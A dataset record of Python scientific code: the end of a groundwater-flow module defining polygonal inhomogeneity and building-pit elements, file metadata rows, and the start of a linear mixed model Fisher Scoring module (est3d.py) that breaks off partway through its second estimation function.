x2=self.x[i + 1], y2=self.y[i + 1], \
order=self.order, ndeg=self.ndeg,
label=None, addtomodel=True, \
aq=aqout, aqin=aqin, aqout=aqout)
if aqin.ltype[0] == 'a': # add constant on inside
c = ConstantInside(self.model, self.zcin.real, self.zcin.imag)
c.inhomelement = True
if aqin.ltype[0] == 'l':
assert self.hstar is not None, 'Error: hstar needs to be set'
c = ConstantStar(self.model, self.hstar, aq=aqin)
c.inhomelement = True
class PolygonInhomMaq(PolygonInhom):
"""Create a polygonal inhomogeneity
Parameters
----------
model : Model object
model to which the element is added
xy : array or list
list or array of (x,y) pairs of coordinates of corners of the
inhomogeneity
polygonal boundary is automatically closed (so first point
is not repeated)
kaq : float, array or list
hydraulic conductivity of each aquifer from the top down
if float, hydraulic conductivity is the same in all aquifers
z : array or list
elevation tops and bottoms of the aquifers from the top down
leaky layers may have zero thickness
if topboundary='conf': length is 2 * number of aquifers
if topboundary='semi': length is 2 * number of aquifers + 1 as top
of leaky layer on top of systems needs to be specified
c : float, array or list
resistance of leaky layers from the top down
if float, resistance is the same for all leaky layers
if topboundary='conf': length is number of aquifers - 1
if topboundary='semi': length is number of aquifers
npor : float, array or list
porosity of all aquifers and leaky layers from the top down
if float, porosity is the same for all layers
if topboundary='conf': length is 2 * number of aquifers - 1
if topboundary='semi': length is 2 * number of aquifers
topboundary : string, 'conf' or 'semi' (default is 'conf')
indicating whether the top is confined ('conf') or
semi-confined ('semi')
hstar : float or None (default is None)
head value above semi-confining top, only read if topboundary='semi'
order : int
polynomial order of flux along each segment
ndeg : int
number of points used between two segments to numerically
integrate normal discharge
"""
tiny = 1e-8
def __init__(self, model, xy, kaq=1, z=[1, 0], c=[], npor=0.3, topboundary='conf',
hstar=None, order=3, ndeg=3):
self.storeinput(inspect.currentframe())
kaq, c, npor, ltype, = param_maq(kaq, z, c, npor, topboundary)
PolygonInhom.__init__(self, model, xy, kaq, c, z, npor, ltype,
hstar, order, ndeg)
def compute_z1z2(xy):
# Returns z1 and z2 of polygon, in clockwise order
x, y = list(zip(*xy))
if x[0] == x[-1] and y[0] == y[-1]: # In case last point is repeated
x = x[:-1];
y = y[:-1]
z1 = np.array(x) + np.array(y) * 1j
index = list(range(1, len(z1))) + [0]
z2 = z1[index]
Z = 1e-6j
z = Z * (z2[0] - z1[0]) / 2.0 + 0.5 * (z1[0] + z2[0])
bigZ = (2.0 * z - (z1 + z2)) / (z2 - z1)
bigZmin1 = bigZ - 1.0
bigZplus1 = bigZ + 1.0
angle = np.sum(np.log(bigZmin1 / bigZplus1).imag)
if angle < np.pi: # reverse order
z1 = z1[::-1]
z2 = z2[::-1]
return z1, z2
class BuildingPit(AquiferData):
tiny = 1e-8
def __init__(self, model, xy, kaq=1, z=[1, 0], c=[], npor=0.3,
topboundary="conf", hstar=None, order=3,
ndeg=3, layers=[0]):
"""Element to simulate a building pit surrounded by an
impermeable wall. Layers with wall are provided with layers
argument.
Parameters
----------
model : Model object
model to which the element is added
xy : array or list
list or array of (x,y) pairs of coordinates of corners of the
inhomogeneity
polygonal boundary is automatically closed (so first point
is not repeated)
kaq : float, array or list
hydraulic conductivity of each aquifer from the top down
if float, hydraulic conductivity is the same in all aquifers
z : array or list
elevation tops and bottoms of the aquifers from the top down
leaky layers may have zero thickness
if topboundary='conf': length is 2 * number of aquifers
if topboundary='semi': length is 2 * number of aquifers + 1 as top
of leaky layer on top of systems needs to be specified
c : float, array or list
resistance of leaky layers from the top down
if float, resistance is the same for all leaky layers
if topboundary='conf': length is number of aquifers - 1
if topboundary='semi': length is number of aquifers
npor : float, array or list
porosity of all aquifers and leaky layers from the top down
if float, porosity is the same for all layers
if topboundary='conf': length is 2 * number of aquifers - 1
if topboundary='semi': length is 2 * number of aquifers
topboundary : string, 'conf' or 'semi' (default is 'conf')
indicating whether the top is confined ('conf') or
semi-confined ('semi'). For a building pit, the 'conf'
option is generally more applicable.
hstar : float or None (default is None)
head value above semi-confining top, only read if topboundary='semi'
order : int
polynomial order of flux along each segment
ndeg : int
number of points used between two segments to numerically
integrate normal discharge
layers: list or np.array
layers in which impermeable wall is present.
"""
# All input variables except model should be numpy arrays
# That should be checked outside this function):
kaq, c, npor, ltype, = param_maq(kaq, z, c, npor, topboundary)
AquiferData.__init__(self, model, kaq, c, z, npor, ltype)
self.order = order
self.ndeg = ndeg
self.layers = layers # layers with impermeable wall
self.nonimplayers = list(set(range(self.model.aq.naq)) - set(self.layers)) # layers without wall
self.hstar = hstar
self.inhom_number = self.model.aq.add_inhom(self)
self.z1, self.z2 = compute_z1z2(xy)
self.Nsides = len(self.z1)
Zin = 1e-6j
Zout = -1e-6j
self.zcin = 0.5 * (self.z2 - self.z1) * Zin + 0.5 * (
self.z1 + self.z2) # point at center on inside
self.zcout = 0.5 * (self.z2 - self.z1) * Zout + 0.5 * (
self.z1 + self.z2) # point at center on outside
self.x = np.hstack((self.z1.real, self.z2[-1].real))
self.y = np.hstack((self.z1.imag, self.z2[-1].imag))
self.xmin = min(self.x)
self.xmax = max(self.x)
self.ymin = min(self.y)
self.ymax = max(self.y)
def isinside(self, x, y):
rv = 0
if (x >= self.xmin) and (x <= self.xmax) and (y >= self.ymin) and (
y <= self.ymax):
z = complex(x, y)
bigZ = (2.0 * z - (self.z1 + self.z2)) / (self.z2 - self.z1)
bigZmin1 = bigZ - 1.0
bigZplus1 = bigZ + 1.0
minAbsBigZmin1 = min(abs(bigZmin1))
minAbsBigZplus1 = min(abs(bigZplus1))
if minAbsBigZmin1 < self.tiny or minAbsBigZplus1 < self.tiny:
rv = 1
return rv
angles = np.log(bigZmin1 / bigZplus1).imag
angle = np.sum(angles)
if angle > np.pi: rv = 1
return rv
def create_elements(self):
aqin = self.model.aq.find_aquifer_data(self.zcin[0].real,
self.zcin[0].imag)
for i in range(self.Nsides):
aqout = self.model.aq.find_aquifer_data(self.zcout[i].real,
self.zcout[i].imag)
if (aqout == self.model.aq) or (
aqout.inhom_number > self.inhom_number):
# Conditions for layers with impermeable walls
IntFluxLineSink(self.model, x1=self.x[i], y1=self.y[i],
x2=self.x[i + 1], y2=self.y[i + 1],
layers=self.layers,
order=self.order, ndeg=self.ndeg,
label=None, addtomodel=True,
aq=aqin, aqin=aqin, aqout=aqout)
IntFluxLineSink(self.model, x1=self.x[i], y1=self.y[i],
x2=self.x[i + 1], y2=self.y[i + 1],
layers=self.layers,
order=self.order, ndeg=self.ndeg,
label=None, addtomodel=True,
aq=aqout, aqin=aqin, aqout=aqout)
# use these conditions for layers without impermeable walls
IntHeadDiffLineSink(self.model, x1=self.x[i], y1=self.y[i],
x2=self.x[i + 1], y2=self.y[i + 1],
layers=self.nonimplayers,
order=self.order, ndeg=self.ndeg,
label=None, addtomodel=True,
aq=aqin, aqin=aqin, aqout=aqout)
IntFluxDiffLineSink(self.model, x1=self.x[i], y1=self.y[i],
x2=self.x[i + 1], y2=self.y[i + 1],
layers=self.nonimplayers,
order=self.order, ndeg=self.ndeg,
label=None, addtomodel=True,
aq=aqout, aqin=aqin, aqout=aqout)
if aqin.ltype[0] == 'a': # add constant on inside
c = ConstantInside(self.model, self.zcin.real, self.zcin.imag)
c.inhomelement = True
if aqin.ltype[0] == 'l':
assert self.hstar is not None, 'Error: hstar needs to be set'
c = ConstantStar(self.model, self.hstar, aq=aqin)
c.inhomelement = True
| 45.049342
| 105
| 0.54195
| 1,780
| 13,695
| 4.13764
| 0.135955
| 0.03055
| 0.009776
| 0.013035
| 0.846164
| 0.842634
| 0.842634
| 0.842634
| 0.842634
| 0.838425
| 0
| 0.027248
| 0.356846
| 13,695
| 303
| 106
| 45.19802
| 0.808924
| 0.312596
| 0
| 0.755435
| 0
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| 0.010936
| 0
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| 0
| 0.01087
| 1
| 0.048913
| false
| 0
| 0.038043
| 0.005435
| 0.152174
| 0
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| 0
| null | 0
| 0
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| 1
| 1
| 1
| 1
| 1
| 1
| 0
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0
| 7
|
e1d3e55f2bed5882dbd1f49438b96f63acd775a7
| 77,517
|
py
|
Python
|
src/lib/est3d.py
|
TomMaullin/LMMPaper
|
0328e75d3bad123632982f3ad86e2209598ab38a
|
[
"MIT"
] | null | null | null |
src/lib/est3d.py
|
TomMaullin/LMMPaper
|
0328e75d3bad123632982f3ad86e2209598ab38a
|
[
"MIT"
] | null | null | null |
src/lib/est3d.py
|
TomMaullin/LMMPaper
|
0328e75d3bad123632982f3ad86e2209598ab38a
|
[
"MIT"
] | null | null | null |
import os
import numpy as np
import scipy
from npMatrix3d import *
from npMatrix2d import *
# ============================================================================
#
# This file contains all parameter estimation methods used by the LMM code for
# estimating multiple models (as oppose to `est2d.py`, which is written for
# parameter estimation of only one model). The methods* given here are:
#
# - `FS`: Fisher Scoring
# - `fFS`: Full-Fisher Scoring
# - `SFS`: Simplified Fisher Scoring
# - `fSFS`: Full-Simplified Fisher Scoring
#
# *Note: cSFS (cholesky Simplified Fisher Scoring), which is available in
# `est2d.py` is not available here as it was slower than the above and
# including it wasn't of much practical use.
#
# This code is only employed in this repository to speed up the computation of
# the Satterthwaithe degrees of freedom baseline truth simulations. All other
# code and reported performance is based on the code from the `est2d.py` file.
#
# ----------------------------------------------------------------------------
#
# Author: Tom Maullin (Last edited 07/04/2020)
#
# ============================================================================
# ============================================================================
#
# This below function performs Fisher Scoring for the multiple Linear
# Mixed Models. It is based on the update rule:
#
# \theta_h = \theta_h + lam*I(\theta_h)^(-1) (dl/d\theta_h)
#
# Where \theta_h is the vector (beta, sigma2, vech(D1),...vech(Dr)), lam is a
# scalar stepsize, I(\theta_h) is the Fisher Information matrix of \theta_h
# and dl/d\theta_h is the derivative of the log likelihood of \theta_h with
# respect to \theta_h.
#
# ----------------------------------------------------------------------------
#
# This function takes as input;
#
# ----------------------------------------------------------------------------
#
# - `XtX`: X transpose multiplied by X (can vary across models or can be
# fixed across models).
# - `XtY`: X transpose multiplied by Y (varies across models).
# - `XtZ`: X transpose multiplied by Z (can vary across models or can be
# fixed across models).
# - `YtX`: Y transpose multiplied by X (varies across models).
# - `YtY`: Y transpose multiplied by Y (varies across models).
# - `YtZ`: Y transpose multiplied by Z (varies across models).
# - `ZtX`: Z transpose multiplied by X (can vary across models or can be
# fixed across models).
# - `ZtY`: Z transpose multiplied by Y (varies across models).
# - `ZtZ`: Z transpose multiplied by Z (can vary across models or can be
# fixed across models). If we are looking at a random intercept
# design the variable ZtZ only holds the diagonal elements of the
# matrix Z'Z.
# - `nlevels`: A vector containing the number of levels for each factor,
# e.g. `nlevels=[3,4]` would mean the first factor has 3 levels
# and the second factor has 4 levels.
# - `nraneffs`: A vector containing the number of random effects for each
# factor, e.g. `nraneffs=[2,1]` would mean the first factor has
# random effects and the second factor has 1 random effect.
# - `tol`: A scalar tolerance value. Iteration stops once successive
# log-likelihood values no longer exceed `tol`.
# - `n`: The number of observations (can vary across models or can be
# fixed across models).
# - `reml`: Restricted maximum likelihood estimation (currently not implemented)
# Default: False.
#
# ----------------------------------------------------------------------------
#
# And returns:
#
# ----------------------------------------------------------------------------
#
# - `savedparams`: \theta_h in the previous notation; the vector (beta,
# sigma2, vech(D1),...vech(Dr)) for every model.
#
# ============================================================================
def FS3D(XtX, XtY, ZtX, ZtY, ZtZ, XtZ, YtZ, YtY, YtX, nlevels, nraneffs, tol,n, reml=False):
# ------------------------------------------------------------------------------
# Useful scalars
# ------------------------------------------------------------------------------
# Number of factors, r
r = len(nlevels)
# Number of random effects, q
q = np.sum(np.dot(nraneffs,nlevels))
# Number of fixed effects, p
p = XtX.shape[1]
# Number of models, v
v = XtY.shape[0]
# ------------------------------------------------------------------------------
# Initial estimates
# ------------------------------------------------------------------------------
# Inital beta
beta = initBeta3D(XtX, XtY)
# Work out e'e, X'e and Z'e
Xte = XtY - (XtX @ beta)
Zte = ZtY - (ZtX @ beta)
ete = ssr3D(YtX, YtY, XtX, beta)
# Initial sigma2
sigma2 = initSigma23D(ete, n)
# ------------------------------------------------------------------------------
# Duplication matrices
# ------------------------------------------------------------------------------
dupMatTdict = dict()
for i in np.arange(len(nraneffs)):
dupMatTdict[i] = np.asarray(dupMat2D(nraneffs[i]).todense()).transpose()
# ------------------------------------------------------------------------------
# Inital D
# ------------------------------------------------------------------------------
# Dictionary version
Ddict = dict()
for k in np.arange(len(nraneffs)):
Ddict[k] = makeDnnd3D(initDk3D(k, ZtZ, Zte, sigma2, nlevels, nraneffs, dupMatTdict))
# Full version of D (not needed in the 1 random effect 1 random factor case as there
# is only one unique element in D)
if r == 1 and nraneffs[0] == 1:
D = None
else:
D = getDfromDict3D(Ddict, nraneffs, nlevels)
# ------------------------------------------------------------------------------
# Index variables
# ------------------------------------------------------------------------------
# Work out the total number of parameters
tnp = np.int32(p + 1 + np.sum(nraneffs*(nraneffs+1)/2))
# Indices for submatrics corresponding to Dks
FishIndsDk = np.int32(np.cumsum(nraneffs*(nraneffs+1)/2) + p + 1)
FishIndsDk = np.insert(FishIndsDk,0,p+1)
# ------------------------------------------------------------------------------
# Obtain D(I+Z'ZD)^(-1)
# ------------------------------------------------------------------------------
# Inverse of (I+Z'ZD) multiplied by D. If we are looking at a single random
# factor single random effect model DinvIplusZtZD will only hold the diagonal
# elements of D(I+Z'ZD)^(-1)
DinvIplusZtZD = get_DinvIplusZtZD3D(Ddict, D, ZtZ, nlevels, nraneffs)
# ------------------------------------------------------------------------------
# Initial lambda and likelihoods
# ------------------------------------------------------------------------------
# Step size lambda
lam = np.ones(v)
# Initial log likelihoods
llhprev = -10*np.ones(XtY.shape[0])
llhcurr = 10*np.ones(XtY.shape[0])
# ------------------------------------------------------------------------------
# Dicts to save repeated computation.
# ------------------------------------------------------------------------------
# This will hold the matrices: Sum_j^{l_k} Z_{i,j}'Z_{i,j}
ZtZmatdict = dict()
for k in np.arange(len(nraneffs)):
ZtZmatdict[k] = None
# This will hold the permutations needed for the covariance between the
# derivatives with respect to k
permdict = dict()
for k1 in np.arange(len(nraneffs)):
for k2 in np.arange(len(nraneffs)):
permdict[str(k1)+str(k2)] = None
# ------------------------------------------------------------------------------
# Converged models and parameter saving
# ------------------------------------------------------------------------------
# Vector checking if all models converged
converged_global = np.zeros(v)
# Vector of saved parameters which have converged
savedparams = np.zeros((v, np.int32(np.sum(nraneffs*(nraneffs+1)/2) + p + 1),1))
# Number of iterations
nit=0
# ------------------------------------------------------------------------------
# Iteration
# ------------------------------------------------------------------------------
while np.any(np.abs(llhprev-llhcurr)>tol):
# Update number of iterations
nit = nit + 1
# Change current likelihood to previous
llhprev = llhcurr
# Work out how many models are left
v_iter = XtY.shape[0]
# --------------------------------------------------------------------------
# Derivatives
# --------------------------------------------------------------------------
# Derivative wrt beta
dldB = get_dldB3D(sigma2, Xte, XtZ, DinvIplusZtZD, Zte, nraneffs)
# Derivative wrt sigma^2
dldsigma2 = get_dldsigma23D(n, ete, Zte, sigma2, DinvIplusZtZD, nraneffs, reml, p)
# For each factor, factor k, work out dl/dD_k
dldDdict = dict()
for k in np.arange(len(nraneffs)):
#-----------------------------------------------------------------------
# Calculate derivative with respect to D_k
#-----------------------------------------------------------------------
# Work out derivative
if ZtZmatdict[k] is None:
dldDdict[k],ZtZmatdict[k] = get_dldDk3D(k, nlevels, nraneffs, ZtZ, Zte, sigma2, DinvIplusZtZD,None,reml, ZtX, XtX)
else:
dldDdict[k],_ = get_dldDk3D(k, nlevels, nraneffs, ZtZ, Zte, sigma2, DinvIplusZtZD,ZtZmatdict[k],reml, ZtX, XtX)
# --------------------------------------------------------------------------
# Covariances
# --------------------------------------------------------------------------
# Construct the Fisher Information matrix
FisherInfoMat = np.zeros((v_iter,tnp,tnp))
# Covariance of dl/dsigma2
covdldsigma2 = n/(2*(sigma2**2))
# Add dl/dsigma2 covariance
FisherInfoMat[:,p,p] = covdldsigma2
# Add dl/dbeta covariance
covdldB = get_covdldbeta3D(XtZ, XtX, ZtZ, DinvIplusZtZD, sigma2, nraneffs)
FisherInfoMat[np.ix_(np.arange(v_iter), np.arange(p),np.arange(p))] = covdldB
# Add dl/dsigma2 dl/dD covariance
for k in np.arange(len(nraneffs)):
# Calculate covariance between sigma2 and D
if ZtZmatdict[k] is None:
covdldsigma2dD,ZtZmatdict[k] = get_covdldDkdsigma23D(k, sigma2, nlevels, nraneffs, ZtZ, DinvIplusZtZD, dupMatTdict, ZtZmat=None)
else:
covdldsigma2dD,_ = get_covdldDkdsigma23D(k, sigma2, nlevels, nraneffs, ZtZ, DinvIplusZtZD, dupMatTdict, ZtZmat=ZtZmatdict[k])
# Assign to the relevant block
FisherInfoMat[:,p, FishIndsDk[k]:FishIndsDk[k+1]] = covdldsigma2dD.reshape(FisherInfoMat[:,p, FishIndsDk[k]:FishIndsDk[k+1]].shape)
FisherInfoMat[:,FishIndsDk[k]:FishIndsDk[k+1],p:(p+1)] = FisherInfoMat[:,p:(p+1), FishIndsDk[k]:FishIndsDk[k+1]].transpose((0,2,1))
# Add dl/dD covariance for each pair (k1,k2) of random factors
for k1 in np.arange(len(nraneffs)):
for k2 in np.arange(k1+1):
# Work out indices corresponding to random factor k1 and random factor k2
IndsDk1 = np.arange(FishIndsDk[k1],FishIndsDk[k1+1])
IndsDk2 = np.arange(FishIndsDk[k2],FishIndsDk[k2+1])
#-----------------------------------------------------------------------
# Calculate covariance of derivative with respect to D_k
#-----------------------------------------------------------------------
if permdict[str(k1)+str(k2)] is None:
covdldDk1dDk2,permdict[str(k1)+str(k2)] = get_covdldDk1Dk23D(k1, k2, nlevels, nraneffs, ZtZ, DinvIplusZtZD, dupMatTdict, perm=None)
else:
covdldDk1dDk2,_ = get_covdldDk1Dk23D(k1, k2, nlevels, nraneffs, ZtZ, DinvIplusZtZD, dupMatTdict, perm=permdict[str(k1)+str(k2)])
# Add to FImat
FisherInfoMat[np.ix_(np.arange(v_iter), IndsDk1, IndsDk2)] = covdldDk1dDk2
FisherInfoMat[np.ix_(np.arange(v_iter), IndsDk2, IndsDk1)] = FisherInfoMat[np.ix_(np.arange(v_iter), IndsDk1, IndsDk2)].transpose((0,2,1))
# Check Fisher Information matrix is symmetric
FisherInfoMat = forceSym3D(FisherInfoMat)
# --------------------------------------------------------------------------
# Concatenate paramaters and derivatives together
# --------------------------------------------------------------------------
paramVector = np.concatenate((beta, sigma2.reshape(v_iter,1,1)),axis=1)
derivVector = np.concatenate((dldB, dldsigma2.reshape(v_iter,1,1)),axis=1)
for k in np.arange(len(nraneffs)):
paramVector = np.concatenate((paramVector, mat2vech3D(Ddict[k])),axis=1)
derivVector = np.concatenate((derivVector, dupMatTdict[k] @ mat2vec3D(dldDdict[k])),axis=1)
# --------------------------------------------------------------------------
# Update step
# --------------------------------------------------------------------------
paramVector = paramVector + np.einsum('i,ijk->ijk',lam,(np.linalg.solve(FisherInfoMat, derivVector)))
# --------------------------------------------------------------------------
# Get the new parameters
# --------------------------------------------------------------------------
beta = paramVector[:,0:p,:]
sigma2 = paramVector[:,p:(p+1)][:,0,0]
# D as a dictionary
for k in np.arange(len(nraneffs)):
Ddict[k] = makeDnnd3D(vech2mat3D(paramVector[:,FishIndsDk[k]:FishIndsDk[k+1],:]))
# Full version of D (not needed in the 1 random effect 1 random factor case as there
# is only one unique element in D)
if r == 1 and nraneffs[0] == 1:
D = None
else:
D = getDfromDict3D(Ddict, nraneffs, nlevels)
# --------------------------------------------------------------------------
# Matrices for next iteration
# --------------------------------------------------------------------------
# Get e'e
ete = ssr3D(YtX, YtY, XtX, beta)
# Get Z'e
Zte = ZtY - (ZtX @ beta)
# Inverse of (I+Z'ZD) multiplied by D. If we are looking at a single random
# factor single random effect model DinvIplusZtZD will only hold the diagonal
# elements of D(I+Z'ZD)^(-1)
DinvIplusZtZD = get_DinvIplusZtZD3D(Ddict, D, ZtZ, nlevels, nraneffs)
# Check sigma2 hasn't hit a boundary
sigma2[sigma2<0]=1e-10
# --------------------------------------------------------------------------
# Update the step size
# --------------------------------------------------------------------------
llhcurr = llh3D(n, ZtZ, Zte, ete, sigma2, DinvIplusZtZD,D, Ddict, nlevels, nraneffs, reml, XtX, XtZ, ZtX)
lam[llhprev>llhcurr] = lam[llhprev>llhcurr]/2
# --------------------------------------------------------------------------
# Work out which models converged and reduce the set of models we look at
# next iteration
# --------------------------------------------------------------------------
# Get model indices in various formats
indices_ConAfterIt, indices_notConAfterIt, indices_ConDuringIt, localconverged, localnotconverged = getConvergedIndices(converged_global, (np.abs(llhprev-llhcurr)<tol))
# Update the record of which models have converged.
converged_global[indices_ConDuringIt] = 1
# Save parameters from this run
savedparams[indices_ConDuringIt,:,:]=paramVector[localconverged,:,:]
# --------------------------------------------------------------------------
# Update matrices
# --------------------------------------------------------------------------
XtY = XtY[localnotconverged, :, :]
YtX = YtX[localnotconverged, :, :]
YtY = YtY[localnotconverged, :, :]
ZtY = ZtY[localnotconverged, :, :]
YtZ = YtZ[localnotconverged, :, :]
Zte = Zte[localnotconverged, :, :]
ete = ete[localnotconverged, :, :]
# In the one factor, one random effect case we only have the diagonal
# D(I+Z'Z)^(-1) elements because D(I+Z'Z)^(-1) is diagonal in this use
# case.
if r==1 and nraneffs[0]==1:
DinvIplusZtZD = DinvIplusZtZD[localnotconverged, :]
else:
DinvIplusZtZD = DinvIplusZtZD[localnotconverged, :, :]
# Design varies across models
if XtX.shape[0] > 1:
XtX = XtX[localnotconverged, :, :]
ZtX = ZtX[localnotconverged, :, :]
XtZ = XtZ[localnotconverged, :, :]
# In the one factor, one random effect case we only have the diagonal
# Z'Z elements because Z'Z is diagonal in this use case.
if r==1 and nraneffs[0]==1:
ZtZ = ZtZ[localnotconverged, :]
else:
ZtZ = ZtZ[localnotconverged, :, :]
# ----------------------------------------------------------------------
# Update ZtZmat
# ----------------------------------------------------------------------
# ZtZmat
for k in np.arange(len(nraneffs)):
if ZtZmatdict[k] is not None:
ZtZmatdict[k]=ZtZmatdict[k][localnotconverged, :, :]
# Update n
if hasattr(n, "ndim"):
# Check if n varies with model
if n.shape[0] > 1:
if n.ndim == 1:
n = n[localnotconverged]
if n.ndim == 2:
n = n[localnotconverged,:]
if n.ndim == 3:
n = n[localnotconverged,:,:]
# --------------------------------------------------------------------------
# Update step size and likelihoods
# --------------------------------------------------------------------------
# Update step size
lam = lam[localnotconverged]
# Update log likelihoods
llhprev = llhprev[localnotconverged]
llhcurr = llhcurr[localnotconverged]
# --------------------------------------------------------------------------
# Update paramaters
# --------------------------------------------------------------------------
beta = beta[localnotconverged, :, :]
sigma2 = sigma2[localnotconverged]
# We don't need this representation of D in the simple case of 1 random
# factor, 1 random effect
if not (r == 1 and nraneffs[0] == 1):
D = D[localnotconverged, :, :]
for k in np.arange(len(nraneffs)):
Ddict[k] = Ddict[k][localnotconverged, :, :]
# --------------------------------------------------------------------------
# Matrices needed later:
# --------------------------------------------------------------------------
# X transpose e and Z transpose e
Xte = XtY - (XtX @ beta)
Zte = ZtY - (ZtX @ beta)
return(savedparams)
# ============================================================================
#
# This below function performs full Fisher Scoring for multiple Linear Mixed
# Models. It is based on the update rule:
#
# \theta_f = \theta_f + lam*I(\theta_f)^+ (dl/d\theta_f)
#
# Where \theta_f is the vector (beta, sigma2, vec(D1),...vec(Dr)), lam is a
# scalar stepsize, I(\theta_f) is the Fisher Information matrix of \theta_f
# and dl/d\theta_f is the derivative of the log likelihood of \theta_f with
# respect to \theta_f.
#
# Note that, as \theta_f is written in terms of 'vec', rather than 'vech',
# (full vector, 'f', rather than half-vector, 'h'), the information matrix
# will have repeated rows (due to \theta_f having repeated entries).
#
# ----------------------------------------------------------------------------
#
# This function takes as input;
#
# ----------------------------------------------------------------------------
#
# - `XtX`: X transpose multiplied by X (can vary across models or can be
# fixed across models).
# - `XtY`: X transpose multiplied by Y (varies across models).
# - `XtZ`: X transpose multiplied by Z (can vary across models or can be
# fixed across models).
# - `YtX`: Y transpose multiplied by X (varies across models).
# - `YtY`: Y transpose multiplied by Y (varies across models).
# - `YtZ`: Y transpose multiplied by Z (varies across models).
# - `ZtX`: Z transpose multiplied by X (can vary across models or can be
# fixed across models).
# - `ZtY`: Z transpose multiplied by Y (varies across models).
# - `ZtZ`: Z transpose multiplied by Z (can vary across models or can be
# fixed across models). If we are looking at a random intercept
# design the variable ZtZ only holds the diagonal elements of the
# matrix Z'Z.
# - `nlevels`: A vector containing the number of levels for each factor,
# e.g. `nlevels=[3,4]` would mean the first factor has 3 levels
# and the second factor has 4 levels.
# - `nraneffs`: A vector containing the number of random effects for each
# factor, e.g. `nraneffs=[2,1]` would mean the first factor has
# random effects and the second factor has 1 random effect.
# - `tol`: A scalar tolerance value. Iteration stops once successive
# log-likelihood values no longer exceed `tol`.
# - `n`: The number of observations (can vary across models or can be
# fixed across models).
# - `reml`: Restricted maximum likelihood estimation (currently not implemented)
# Default: False.
#
# ----------------------------------------------------------------------------
#
# And returns:
#
# ----------------------------------------------------------------------------
#
# - `savedparams`: \theta_h in the previous notation; the vector (beta,
# sigma2, vech(D1),...vech(Dr)) for every model.
#
# ============================================================================
def fFS3D(XtX, XtY, ZtX, ZtY, ZtZ, XtZ, YtZ, YtY, YtX, nlevels, nraneffs, tol,n, reml=False):
# ------------------------------------------------------------------------------
# Useful scalars
# ------------------------------------------------------------------------------
# Number of factors, r
r = len(nlevels)
# Number of random effects, q
q = np.sum(np.dot(nraneffs,nlevels))
# Number of fixed effects, p
p = XtX.shape[1]
# Number of models, v
v = XtY.shape[0]
# ------------------------------------------------------------------------------
# Initial estimates
# ------------------------------------------------------------------------------
# Inital beta
beta = initBeta3D(XtX, XtY)
# Work out e'e, X'e and Z'e
Xte = XtY - (XtX @ beta)
Zte = ZtY - (ZtX @ beta)
ete = ssr3D(YtX, YtY, XtX, beta)
# Initial sigma2
sigma2 = initSigma23D(ete, n)
# ------------------------------------------------------------------------------
# Duplication matrices
# ------------------------------------------------------------------------------
dupMatTdict = dict()
for i in np.arange(len(nraneffs)):
dupMatTdict[i] = np.asarray(dupMat2D(nraneffs[i]).todense()).transpose()
# ------------------------------------------------------------------------------
# Inital D
# ------------------------------------------------------------------------------
# Dictionary version
Ddict = dict()
for k in np.arange(len(nraneffs)):
Ddict[k] = makeDnnd3D(initDk3D(k, ZtZ, Zte, sigma2, nlevels, nraneffs, dupMatTdict))
# Full version of D (not needed in the 1 random effect 1 random factor case as there
# is only one unique element in D)
if r == 1 and nraneffs[0] == 1:
D = None
else:
D = getDfromDict3D(Ddict, nraneffs, nlevels)
# ------------------------------------------------------------------------------
# Index variables
# ------------------------------------------------------------------------------
# Work out the total number of paramateres
tnp = np.int32(p + 1 + np.sum(nraneffs**2))
# Indices for submatrics corresponding to Dks
FishIndsDk = np.int32(np.cumsum(nraneffs**2) + p + 1)
FishIndsDk = np.insert(FishIndsDk,0,p+1)
# ------------------------------------------------------------------------------
# Obtain D(I+Z'ZD)^(-1)
# ------------------------------------------------------------------------------
# Inverse of (I+Z'ZD) multiplied by D. If we are looking at a single random
# factor single random effect model DinvIplusZtZD will only hold the diagonal
# elements of D(I+Z'ZD)^(-1)
DinvIplusZtZD = get_DinvIplusZtZD3D(Ddict, D, ZtZ, nlevels, nraneffs)
# ------------------------------------------------------------------------------
# Initial lambda and likelihoods
# ------------------------------------------------------------------------------
# Step size lambda
lam = np.ones(v)
# Initial log likelihoods
llhprev = -10*np.ones(XtY.shape[0])
llhcurr = 10*np.ones(XtY.shape[0])
# ------------------------------------------------------------------------------
# Dicts to save repeated computation.
# ------------------------------------------------------------------------------
# This will hold the matrices: Sum_j^{l_k} Z_{i,j}'Z_{i,j}
ZtZmatdict = dict()
for k in np.arange(len(nraneffs)):
ZtZmatdict[k] = None
# This will hold the permutations needed for the covariance between the
# derivatives with respect to k
permdict = dict()
for k1 in np.arange(len(nraneffs)):
for k2 in np.arange(len(nraneffs)):
permdict[str(k1)+str(k2)] = None
# ------------------------------------------------------------------------------
# Converged models and parameter saving
# ------------------------------------------------------------------------------
# Vector checking if all models converged
converged_global = np.zeros(v)
# Vector of saved parameters which have converged
savedparams = np.zeros((v, np.int32(np.sum(nraneffs**2) + p + 1),1))
# Number of iterations
nit=0
# ------------------------------------------------------------------------------
# Iteration
# ------------------------------------------------------------------------------
while np.any(np.abs(llhprev-llhcurr)>tol):
# Update number of iterations
nit = nit + 1
# --------------------------------------------------------------------------
# Update loglikelihood and number of models
# --------------------------------------------------------------------------
# Change current likelihood to previous
llhprev = llhcurr
# Work out how many models are left
v_iter = XtY.shape[0]
# --------------------------------------------------------------------------
# Derivatives
# --------------------------------------------------------------------------
# Derivative wrt beta
dldB = get_dldB3D(sigma2, Xte, XtZ, DinvIplusZtZD, Zte, nraneffs)
# Derivative wrt sigma^2
dldsigma2 = get_dldsigma23D(n, ete, Zte, sigma2, DinvIplusZtZD, nraneffs, reml, p)
# For each factor, factor k, work out dl/dD_k
dldDdict = dict()
for k in np.arange(len(nraneffs)):
#-----------------------------------------------------------------------
# Calculate derivative with respect to D_k
#-----------------------------------------------------------------------
# Work out derivative
if ZtZmatdict[k] is None:
dldDdict[k],ZtZmatdict[k] = get_dldDk3D(k, nlevels, nraneffs, ZtZ, Zte, sigma2, DinvIplusZtZD,None,reml, ZtX, XtX)
else:
dldDdict[k],_ = get_dldDk3D(k, nlevels, nraneffs, ZtZ, Zte, sigma2, DinvIplusZtZD,ZtZmatdict[k],reml, ZtX, XtX)
# --------------------------------------------------------------------------
# Covariances
# --------------------------------------------------------------------------
# Construct the Fisher Information matrix
FisherInfoMat = np.zeros((v_iter,tnp,tnp))
# Covariance of dl/dsigma2
covdldsigma2 = n/(2*(sigma2**2))
# Add dl/dsigma2 covariance
FisherInfoMat[:,p,p] = covdldsigma2
# Add dl/dbeta covariance
covdldB = get_covdldbeta3D(XtZ, XtX, ZtZ, DinvIplusZtZD, sigma2, nraneffs)
